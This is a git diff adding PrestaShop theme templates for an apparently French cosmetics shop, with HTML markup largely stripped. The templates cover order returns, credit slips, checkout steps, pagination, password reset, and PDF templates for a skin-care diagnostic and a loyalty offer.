        + {l s='Modifier'} +

        {l s='TOTAL'}

        +

        {l s='DONT TVA 19.6%'}

        +
        + {displayPrice price=$total_price} + {displayPrice price=$total_tax} +
        +
        +
        + + + + + + + + + +
        +

        {l s='Adresse de livraison'}

        +
          + {if isset($carrier_module_call)} + {$carrier_module_call} + {else} +
        • {$delivery->firstname} {$delivery->lastname}
        • +
        • {$delivery->address1}
        • + {if $delivery->address2}
        • {$delivery->address2}
        • {/if} +
        • {$delivery->postcode} {$delivery->city}
        • +
        • {$delivery->country }
        • + {/if} +
        +
        +

        {l s='Adresse de facturation'}

        +
          +
        • {$invoice->firstname} {$invoice->lastname}
        • +
        • {$invoice->address1}
        • + {if $invoice->address2}
        • {$invoice->address2}
        • {/if} +
        • {$invoice->postcode} {$invoice->city}
        • +
        • {$invoice->country }
        • +
        +
        + + + +
        +
        +
        +

        {l s='Emballage cadeau :'} {if $cart->gift==0}{l s='Non'}{else}{l s='Oui'}{/if}

        + {if $cart->gift_message}

        {l s='votre message personnalisé :'}

        +

        {$cart->gift_message}

        + {/if} +

        {l s='Modifier'}

        +
        +
        +
        +
        +
        +
        +
        +
        diff --git a/themes/default/order-return.tpl b/themes/default/order-return.tpl new file mode 100755 index 0000000..c9bdf34 --- /dev/null +++ b/themes/default/order-return.tpl @@ -0,0 +1,109 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{include file="./errors.tpl"} +{if isset($orderRet)} +

        {l s='RE#'}{$orderRet->id|string_format:"%06d"} {l s='on'} {dateFormat date=$order->date_add full=0}

        +
        +

        {l s='We have logged your return request.'}

        +

        {l s='Your package must be returned to us within'} {$nbdaysreturn} {l s='days of receiving your order.'}

        +

        {l s='The current status of your merchandise return is:'} {$state_name|escape:'htmlall':'UTF-8'}

        +

        {l s='List of items to be returned:'}

        +
        +
        + + + + + + + + + + {foreach from=$products item=product name=products} + + {assign var='quantityDisplayed' value=0} + {foreach from=$returnedCustomizations item='customization' name=products} + {if $customization.product_id == $product.product_id} + + + + + + {assign var='productId' value=$customization.product_id} + {assign var='productAttributeId' value=$customization.product_attribute_id} + {assign var='customizationId' value=$customization.id_customization} + {foreach from=$customizedDatas.$productId.$productAttributeId.$customizationId.datas key='type' item='datas'} + + + + {/foreach} + {assign var='quantityDisplayed' value=$quantityDisplayed+$customization.product_quantity} + {/if} + {/foreach} + + {if $product.product_quantity > $quantityDisplayed} + + + + + + {/if} + {/foreach} + +
        {l s='Reference'}{l s='Product'}{l s='Quantity'}
        {if $customization.reference}{$customization.reference|escape:'htmlall':'UTF-8'}{else}--{/if}{$customization.name|escape:'htmlall':'UTF-8'}{$customization.product_quantity|intval}
        + {if $type == $smarty.const._CUSTOMIZE_FILE_} +
          + {foreach from=$datas item='data'} +
        • + {/foreach} +
        + {elseif $type == $smarty.const._CUSTOMIZE_TEXTFIELD_} +
          {counter start=0 print=false} + {foreach from=$datas item='data'} + {assign var='customizationFieldName' value="Text #"|cat:$data.id_customization_field} +
        • {l s='%s:' sprintf=$data.name|default:$customizationFieldName} {$data.value}
        • + {/foreach} +
        + {/if} +
        {if $product.product_reference}{$product.product_reference|escape:'htmlall':'UTF-8'}{else}--{/if}{$product.product_name|escape:'htmlall':'UTF-8'}{$product.product_quantity|intval}
        +
        + + {if $orderRet->state == 2} +

        {l s='Reminder:'}

        +
        + - {l s='All merchandise must be returned in its original packaging and in its original state.'} +
        - {l s='Please print out the'} id|intval}")}">{l s='PDF return slip'} {l s='and include it with your package.'} +
        - {l s='Please see the PDF return slip'} (id|intval}")}">{l s='for the correct address'}) +

        + {l s='When we receive your package, we will notify you by email. We will then begin processing order reimbursement.'} +

        {l s='Please let us know if you have any questions.'} +
        +

        {l s='If the conditions of return listed above are not respected, we reserve the right to refuse your package and/or reimbursement.'}

        +
        + {elseif $orderRet->state == 1} +

        {l s='You must wait for confirmation before returning any merchandise.'}

        + {/if} +{/if} + diff --git a/themes/default/order-slip.tpl b/themes/default/order-slip.tpl new file mode 100755 index 0000000..0adda6a --- /dev/null +++ b/themes/default/order-slip.tpl @@ -0,0 +1,64 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='My account'}{$navigationPipe}{l s='Credit slips'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='Credit slips'}

        +

        {l s='Credit slips you have received after cancelled orders'}.

        +
        + {if $ordersSlip && count($ordersSlip)} + + + + + + + + + + + {foreach from=$ordersSlip item=slip name=myLoop} + + + + + + + {/foreach} + +
        {l s='Credit slip'}{l s='Order'}{l s='Date issued'}{l s='View credit slip'}
        {l s='#%s' sprintf=$slip.id_order_slip|string_format:"%06d"}{l s='#%s' sprintf=$slip.id_order|string_format:"%06d"}{dateFormat date=$slip.date_add full=0} + {l s='Order slip'} {l s='#%s' sprintf=$slip.id_order_slip|string_format: + {l s='PDF'} +
        + + {else} +

        {l s='You have not received any credit slips.'}

        + {/if} +
        + diff --git a/themes/default/order-steps.tpl b/themes/default/order-steps.tpl new file mode 100755 index 0000000..34b7ca1 --- /dev/null +++ b/themes/default/order-steps.tpl @@ -0,0 +1,79 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* Assign a value to 'current_step' to display current style *} +{capture name="url_back"} +{if isset($back) && $back}back={$back}{/if} +{/capture} + +{if !isset($multi_shipping)} + {assign var='multi_shipping' value='0'} +{/if} + +{if !$opc} + +
          +
        • + {if $current_step=='payment' || $current_step=='shipping' || $current_step=='address' || $current_step=='login'} + + 1. {l s='Summary'} + + {else} + 1. {l s='Summary'} + {/if} +
        • +
        • + {if $current_step=='payment' || $current_step=='shipping' || $current_step=='address'} + + 2. {l s='Login'} + + {else} + 2. {l s='Login'} + {/if} +
        • +
        • + {if $current_step=='payment' || $current_step=='shipping'} + + 3. {l s='Address'} + + {else} + 3. {l s='Address'} + {/if} +
        • +
        • + {if $current_step=='payment'} + + 4. {l s='Shipping'} + + {else} + 4. {l s='Shipping'} + {/if} +
        • +
        • + 5. {l s='Payment'} +
        • +
        + +{/if} diff --git a/themes/default/pagination.tpl b/themes/default/pagination.tpl new file mode 100755 index 0000000..fa806db --- /dev/null +++ b/themes/default/pagination.tpl @@ -0,0 +1,125 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($no_follow) AND $no_follow} + {assign var='no_follow_text' value='rel="nofollow"'} +{else} + {assign var='no_follow_text' value=''} +{/if} + +{if isset($p) AND $p} + {if isset($smarty.get.id_category) && $smarty.get.id_category && isset($category)} + {if !isset($current_url)} + {assign var='requestPage' value=$link->getPaginationLink('category', $category, false, false, true, false)} + {else} + {assign var='requestPage' value=$current_url} + {/if} + {assign var='requestNb' value=$link->getPaginationLink('category', $category, true, false, false, true)} + {elseif isset($smarty.get.id_manufacturer) && $smarty.get.id_manufacturer && isset($manufacturer)} + {assign var='requestPage' value=$link->getPaginationLink('manufacturer', $manufacturer, false, false, true, false)} + {assign var='requestNb' value=$link->getPaginationLink('manufacturer', $manufacturer, true, false, false, true)} + {elseif isset($smarty.get.id_supplier) && $smarty.get.id_supplier && isset($supplier)} + {assign var='requestPage' value=$link->getPaginationLink('supplier', $supplier, false, false, true, false)} + {assign var='requestNb' value=$link->getPaginationLink('supplier', $supplier, true, false, false, true)} + {else} + {assign var='requestPage' value=$link->getPaginationLink(false, false, false, false, true, false)} + {assign var='requestNb' value=$link->getPaginationLink(false, false, true, false, false, true)} + {/if} + + + +{/if} diff --git a/themes/default/password.tpl b/themes/default/password.tpl new file mode 100755 index 0000000..83bdd5a --- /dev/null +++ b/themes/default/password.tpl @@ -0,0 +1,53 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Authentication'}{$navigationPipe}{l s='Forgot your password'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='Forgot your password?'}

        + +{include file="$tpl_dir./errors.tpl"} + +{if isset($confirmation) && $confirmation == 1} +

        {l s='Your password has been successfully reset and a confirmation has been sent to your email address:'} {if isset($email)}{$email|escape:'htmlall':'UTF-8'|stripslashes}{/if}

        +{elseif isset($confirmation) && $confirmation == 2} +

        {l s='A confirmation email has been sent to your address:'} {if isset($email)}{$email|escape:'htmlall':'UTF-8'|stripslashes}{/if}

        +{else} +

        {l s='Please enter the email address you used to register. We will then send you a new password. '}

        +
        +
        +

        + + +

        +

        + +

        +
        +
        +{/if} +

        + {l s='Return to Login'}{l s='Back to Login'} +

        diff --git a/themes/default/pdf/Antdiagnostic.tpl b/themes/default/pdf/Antdiagnostic.tpl new file mode 100755 index 0000000..28efe78 --- /dev/null +++ b/themes/default/pdf/Antdiagnostic.tpl @@ -0,0 +1,44 @@ +

        [{l s='Votre rituel beauté magique'}]

        +

        {l s='Découvrez votre rituel beauté personnalisé complètement magique !'}

        +

        {$final['profil'][0]['description']}

        +

        {l s='Votre formule magique'}

        + + {foreach from=$final['product'] item=product} + + + + + {/foreach} +
        + + {if file_exists($link->getImageLink($product.link_rewrite, $product.id_image, 'home_default'))}{/if} + {$product.legend|escape:'htmlall':'UTF-8'} + +

         

        +
        +

        {$product.name|escape:'htmlall':'UTF-8'|truncate:48:'...'}

        + {if $product.description != ""} +
        {$product.description|replace:'':'
        '}
        + {/if} +
        +

        {l s='Pour compléter votre formule'}

        + + {foreach from=$final['complement'] item=product} + + + + + {/foreach} +
        + + {if file_exists($link->getImageLink($product.link_rewrite, $product.id_image, 'home_default'))}{/if} + {$product.legend|escape:'htmlall':'UTF-8'} + +

         

        +
        +

        {$product.name|escape:'htmlall':'UTF-8'|truncate:48:'...'}

        + {if $product.description != ""} +
        {$product.description|replace:'':'
        '}
        + {/if} +
        +
        diff --git a/themes/default/pdf/Diagnostic.tpl b/themes/default/pdf/Diagnostic.tpl new file mode 100755 index 0000000..7100cac --- /dev/null +++ b/themes/default/pdf/Diagnostic.tpl @@ -0,0 +1,10 @@ +

        [{l s='Votre rituel beauté magique'}]

        +

        {l s='Découvrez votre rituel beauté personnalisé complètement magique !'}

        +

        [{l s='VOTRE RITUEL MATIN'}]

        +{if isset($categoryA)}{include file="./diagnostic-items.tpl" categorie=$categoryA rituel=1}{/if} +

        [{l s='VOTRE RITUEL SOIR'}]

        +{if isset($categoryB)}{include file="./diagnostic-items.tpl" categorie=$categoryB rituel=2}{/if} +

        [{l s='MES CONSEILS BEAUTE'}]

        +{if isset($categoryC)}{include file="./diagnostic-items.tpl" categorie=$categoryC rituel=3}{/if} +

        [{l s='POUR VOTRE CORPS'}]

        +{if isset($categoryD)}{include file="./diagnostic-items.tpl" categorie=$categoryD rituel=4}{/if} \ No newline at end of file diff --git a/themes/default/pdf/Infographie version PDF.jpg b/themes/default/pdf/Infographie version PDF.jpg new file mode 100644 index 0000000..129c9df Binary files /dev/null and b/themes/default/pdf/Infographie version PDF.jpg differ diff --git a/themes/default/pdf/Offrefidelite.tpl b/themes/default/pdf/Offrefidelite.tpl new file mode 100755 index 0000000..5a89465 --- /dev/null +++ b/themes/default/pdf/Offrefidelite.tpl @@ -0,0 +1,127 @@ + +

        [{l s='Offre de fidélité'}]

        +

        {l s='5 produits achetés = 1 produit Offert* au choix'}

        +

        {l s='Pour profiter de notre avantage fidélité, il vous suffit de nous envoyer à :'} +
        {l s='GARANCIA, Offre Fidélité, 18 Avenue du Recteur Poincaré, 75016 PARIS'}

        +

        {l s='- Vos coordonnées en complétant le formulaire ci-dessous ou en indiquant ces informations au stylo à bille noir et en majuscule sur papier libre :'}

        +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + fidelite_civilite=="Mme"} checked="checked"{/if}/> + fidelite_civilite=="Mlle"} checked="checked"{/if} /> + fidelite_civilite=="M."} checked="checked"{/if} /> +
        {$offre_de_fidelite->fidelite_nom}
        {$offre_de_fidelite->fidelite_prenom}
        {$offre_de_fidelite->fidelite_adr}
        {$offre_de_fidelite->fidelite_cp}
        {$offre_de_fidelite->fidelite_ville}
        {$offre_de_fidelite->fidelite_tel}
        {$offre_de_fidelite->from}
        + + + + + + + + + + + +
        {$offre_de_fidelite->days} - {$offre_de_fidelite->months} - {$offre_de_fidelite->years} +
        +
        {$offre_de_fidelite->produits1}
        {$offre_de_fidelite->produits2}
        +



        {l s='- Cochez votre indice de satisfaction sur les produits que vous avez testés :'} +
        {l s='1 = Très satisfaite, 2 = Satisfaite, 3 = Assez satisfaite, 4 = Pas du tout satisfaite'}

        + {if $generationProduits|@count>0} + {assign var=idCategory value=0} + + + {foreach from=$generationProduits item=produit} + {if $idCategory!=$produit.id_category} + {assign var=idCategory value=$produit.id_category} + + + + {/if} + {assign var=selectedRep value=0} + {foreach from=$offre_de_fidelite->selecteds item=selectedP key=selectK} + {if $selectK==$produit.id_product} + {assign var=selectedRep value=$selectedP} + {/if} + {/foreach} + + + + + + + + {/foreach} + +
        {$produit.categoryName} :
        {$produit.name} + + + + + + + + + + + +
        + {/if} + +
        +

        {l s='-Les 5 codes-barres originaux :'} {l s='Découpez les fonds d\'étui ou directement les tubes (pour les produits sans étui).'}

        +

        {l s='-Un chèque bancaire de 8,50 €'} {l s='à l\'ordre du'} {l s='Laboratoire Garancia'} {l s='correspondant à la participation aux frais d\'envoi et de traitement.'}

        +

        {l s='Vous recevrez sous environs 8 semaines votre produit offert.'} +
        {l s='Tout dossier incomplet ou illisible ne sera pas traité.'}

        +

        + {l s='Conformément à la loi informatique et libertés du 06/01/78, le consommateur a un droit d\'accès et de rectification sur les données le concernant en écrivant au Service Clients GARANCIA, 18 Avenue du Recteur Pointcaré, 75016 Paris.'} +
        +
        * {l s='Offre valable uniquement en France métropolitaine, Monaco et Corse'} +
        ** {l s='Assurer un meilleur suivi de votre dossier'} +
        *** {l s='Dans la limite des stocks disponibles. En cas de rupture de stock, Garancia se réserve le droit de vous adresser un autre produit.'} +
        +

        + diff --git a/themes/default/pdf/diagnostic-items.tpl b/themes/default/pdf/diagnostic-items.tpl new file mode 100755 index 0000000..91e5a50 --- /dev/null +++ b/themes/default/pdf/diagnostic-items.tpl @@ -0,0 +1,119 @@ + + {assign var=compteur value=1} + {assign var=marabout_rituel3 value=0} + {assign var=DT value=0} + {foreach from=$categorie->products item=product} + + {if $rituel==3 && ($product.id_product==14 || $product.id_product==43) && $DT==0} + + + + {assign var=DT value=1} + {/if} + {if $rituel==3 && ( $product.id_product==17 || $product.id_product==19 || $product.id_product==23) && $marabout_rituel3==0} + + + + {assign var=marabout_rituel3 value=1} + {/if} + + + + + + {/foreach} +
        +

        {l s='En fonction des saisons, il y a des mois où votre peau à besoin d\'une CURE d\'hydratation intense : Diabolique Tomate®'} {l s='que vous pouvez substituer à votre crème habituelle'}

        +

         

        +
        +

         

        +

        {l s='Pour vos imperfections Occasionnelles : La Gamme Marabout'}

        +

         

        +
        + {if file_exists($link->getImageLink($product.link_rewrite, $product.id_image, 'home_default'))} + {/if} + + {$product.legend|escape:'htmlall':'UTF-8'} + +

         

        +
        + + {if $rituel==3 && $product.id_product==18 && q3==4} +

        {l s='Une alternative pour vous Démaquiller : En Deux Coups de Baguette®'}

        + {/if} +

        {$product.name|escape:'htmlall':'UTF-8'|truncate:48:'...'}

        + {assign var=product_desc value=1} + + {if ($product.id_product==14 || $product.id_product==43) && $rituel==3} + {assign var=DT value=1} +
        + {l s='Diabolique Tomate®'} {l s='existe en 2 étonnantes textures que vous pouvez alterner selon votre type de peau et les saisons: préférez la texture légère de la'} {l s='crème d\'eau'} {l s='en été, et la texture plus veloutée de l\''}{l s='enrichie'} {l s='en Hiver !'}
        + {assign var=product_desc value=0} + {/if} + {if $rituel==1 || $rituel==2} + {if $product.id_product==17 && $q7==1} +
        {l s='Cette épâtante pâte va nettoyer, démaquiller et purifier votre peau en délogeant les imperfections et retirer l\'excès de sébum, dès la 1ère application ! Elle permet également de resserrer vos pores dilatés ! Déposez une belle noisette de pâte dans le creux de la main avec quelques gouttes d\'eau et mélangez énergiquement jusqu\'à obtention d\'une mousse onctueuse «chantilly ». Appliquez-la sur le visage en évitant les yeux puis rincez à grande eau.'}
        + {assign var=product_desc value=0} + {/if} + {if $product.id_product==23 && $q9==1} +
        + {l s='Matin :'}
        + {l s='Appliquez cette BB Cream sur l\'ensemble de votre visage. Elle vient parfaire votre teint avec son fini poudré et son effet maquillage « nu ».'}
        + {l s='Astuce : '} {l s='Appliquez une poudre de soleil pour rehausser le teint. Pour un effet plus couvrant, appliquez votre fond de teint par-dessus.'}
        + Soir : {l s='Cette BB Cream aide à la réparation de l\'épiderme. Formulée avec des pigments naturels, vous pouvez l\'utiliser le soir pour un meilleur résultat ! Idéal pour réduire vos petites marques inesthétiques !'} +
        + {assign var=product_desc value=0} + {/if} + {/if} + {if $rituel==3} + {if $product.id_product==11 && ($q3==2 || $q3==3 || $q3==4)} +
        + {l s='Maquillage Traitant : Abracadabaume®'}
        + {if $q10!=1} + {if $q7==1} + {l s='Appliquez ce baume avant ou après le maquillage pour resserrer les pores, et matifier vos zones qui brillent instantanément !'} + {else} + {l s='Appliquez ce baume avant ou après le maquillage pour matifier vos zones qui brillent instantanément !'} + {/if} + {else} + {if $q7==1} + {l s='Appliquez ce baume avant ou après le maquillage pour flouter les ridules, resserrer les pores, et matifier vos zones qui brillent instantanément !'} + {else} + {l s='Appliquez ce baume avant ou après le maquillage pour flouter les ridules, et matifier vos zones qui brillent instantanément !'} + {/if} + {/if} +
        + {assign var=product_desc value=0} + {/if} + {/if} + + {if $product.id_product==13 && ($q3==1 || $q3==2 || $q3==3 || $q3==4)} +
        + {l s='Comme'} {if $q4==1}{l s='fumer ternit le teint et accélère le vieillissement,'} {/if}{if $q4==1 && $q4==3}{l s='et'} {/if}{if $q4==3}{l s='l\'environnement dans lequel vous vivez est pollué'},{/if} {l s='je vous recommande d\'utiliser ce sérum comme une lotion tonique. Il contient un puissant bouclier anti-oxydant qui protège votre peau du vieillissement, de la pollution et de la perte d\'éclat. Ces actifs resserrent les pores, et en plus il sent terriblement bon !'}
        + {l s='Astuce : '}{l s='A tout moment de la journée, tapotez votre visage par légers effleurements avec un coton imprégné de ce sérum pour matifier la peau qui brille er redonner un coup d\'éclat.'}
        + {if $q==1}{l s='De plus, ce sérum utilisé comme after shave permet d\'éviter le feu du rasage.'}{/if}
        + {assign var=product_desc value=0} + {/if} + {if $product.id_product==17 && q8==2} +
        {l s='Cette épâtante pâte va nettoyer, démaquiller et purifier votre peau en délogeant les imperfections et retirer l\'excès de sébum, dès la 1ère application !'} {if $q7==1}{l s='Elle permet également de resserrer vos pores dilatés !'} {/if}{l s='Déposez une belle noisette de pâte dans le creux de la main avec quelques gouttes d\'eau et mélangez énergiquement jusqu\'à obtention d\'une mousse onctueuse «chantilly ». Appliquez-la sur le visage en évitant les yeux puis rincez à grande eau.'}
        + {assign var=product_desc value=0} + {/if} + {if $product.id_product==19} +
        {l s='Après avoir nettoyé votre peau, déposez 5 gouttes de cet élixir de beauté sur l’ensemble de votre visage, puis faites-le pénétrer en insistant sur les imperfections les plus marquées pendant 10 secondes.'}
        + {assign var=product_desc value=0} + {/if} + {*if $product.id_product==23} +
        {l s='Cette BB Cream, qui aide à la réparation de l’épiderme, vient parfaire votre teint avec son fini poudré et son résultat maquillage « nu ». Elle s\'utilise matin et soir.'} {if $q3==1}{l s='Appliquez-la au-dessus de votre crème de jour.'} {/if}{if $q9==1}{l s='Idéal pour réduire vos petites marques inesthétiques!'}{/if}
        + {assign var=product_desc value=0} + {/if*} + {if $product.id_product==18 && q3==4} +
        {l s='Si vous sentez que votre peau tiraille, démaquillez-vous avec la crème des crèmes des nettoyants démaquillants aux actifs anti-âge et anti-tiraillement ! Appliquez-la du bout des doigts puis rincez votre visage à la japonaise… avec la serviette Garancia (fournie avec ce soin) imprégnée d\'eau tiède et essorée… Existe en 2 délicieux parfums : Rose Vanillée et Amande d\'Antan !'} {l s='A alterner avec la Sulfureuse Pâte du Marabout® !'}
        + {assign var=product_desc value=0} + {/if} + {if $product_desc==1} +
        {$product.description|replace:'':'
        '}
        + {/if} + +
        +
        + \ No newline at end of file diff --git a/themes/default/pdf/index.php b/themes/default/pdf/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/themes/default/pdf/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/default/pdf/lang/en.php b/themes/default/pdf/lang/en.php new file mode 100755 index 0000000..594fd26 --- /dev/null +++ b/themes/default/pdf/lang/en.php @@ -0,0 +1,85 @@ + \ No newline at end of file diff --git a/themes/default/pdf/lang/fr.php b/themes/default/pdf/lang/fr.php new file mode 100755 index 0000000..45bf356 --- /dev/null +++ b/themes/default/pdf/lang/fr.php @@ -0,0 +1,88 @@ + \ No newline at end of file diff --git a/themes/default/philosophie.tpl b/themes/default/philosophie.tpl new file mode 100755 index 0000000..a9f209f --- /dev/null +++ b/themes/default/philosophie.tpl @@ -0,0 +1,90 @@ +{capture name=path}{l s='Ma Philosophie'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +{foreach from=$philo item=phi} +
        +

        {$phi.titrepage}

        +
        + {$phi.image1legend} +

        {$phi.info1}

        +

        {$phi.info2}
        {$phi.info3}

        +
        +
        + {if $phi.titrebox1!=""} +
        +

        {$phi.titrebox1}

        + +
        + {/if} + {if $phi.titrebox2!=""} +
        +

        {$phi.titrebox2}

        + +
        + {/if} + {if $phi.titrebox3!=""} +
        +

        {$phi.titrebox3}

        + +
        + {/if} + {if $phi.titrebox4!=""} +
        +

        {$phi.titrebox4}

        + +
        + {/if} +
        +
        +
        +
        + {if $phi.bloctitre!=""} +
        +

        {$phi.bloctitre}

        +
        + {if $phi.blocurl!=""}{/if} + {$phi.image2legend} + {if $phi.blocurl!=""}{/if} +
        +
        + {$phi.blocdescription} +
        + {if $phi.blocurl!=""}{$phi.blocurltitre}{/if} +
        + {/if} + + + + + +
        +
        +{/foreach} \ No newline at end of file diff --git a/themes/default/presse.tpl b/themes/default/presse.tpl new file mode 100755 index 0000000..9ad4a50 --- /dev/null +++ b/themes/default/presse.tpl @@ -0,0 +1,113 @@ +{capture name=path}{l s='La presse en parle'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='La presse en parle'}]

        + + + {if $nbPage <= 1} + + {else} + + {/if} + + {if $pressProducts|@count>0} +
        + + +
        + {/if} +
        +
          + {foreach from=$press item=presse key=compteur} +
        • + {$presse.legend} +

          " {$presse.title} "

          +
          + {$presse.description} +
          +
        • + {/foreach} +
        +
        +
        + + + {if $nbPage <= 1} + + {else} + + {/if} +
        +
        + \ No newline at end of file diff --git a/themes/default/preview.jpg b/themes/default/preview.jpg new file mode 100755 index 0000000..f9b122a Binary files /dev/null and b/themes/default/preview.jpg differ diff --git a/themes/default/prices-drop.tpl b/themes/default/prices-drop.tpl new file mode 100755 index 0000000..64f8b5a --- /dev/null +++ b/themes/default/prices-drop.tpl @@ -0,0 +1,53 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Price drop'}{/capture} +{include file="./breadcrumb.tpl"} + +

        {l s='Price drop'}

        + +{if $products} +
        + {include file="$tpl_dir./pagination.tpl"} + +
        + {include file="./product-sort.tpl"} + {include file="./product-compare.tpl"} + {include file="./nbr-product-page.tpl"} +
        +
        + + {include file="./product-list.tpl" products=$products} + +
        +
        + {include file="./product-sort.tpl"} {include file="./product-compare.tpl"} {include file="./nbr-product-page.tpl"} + +
        + {include file="./pagination.tpl"} +
        + {else} +

        {l s='No price drop'}

        +{/if} diff --git a/themes/default/product-compare.tpl b/themes/default/product-compare.tpl new file mode 100755 index 0000000..ad09f7c --- /dev/null +++ b/themes/default/product-compare.tpl @@ -0,0 +1,41 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $comparator_max_item} + + +
        +

        + + +

        +
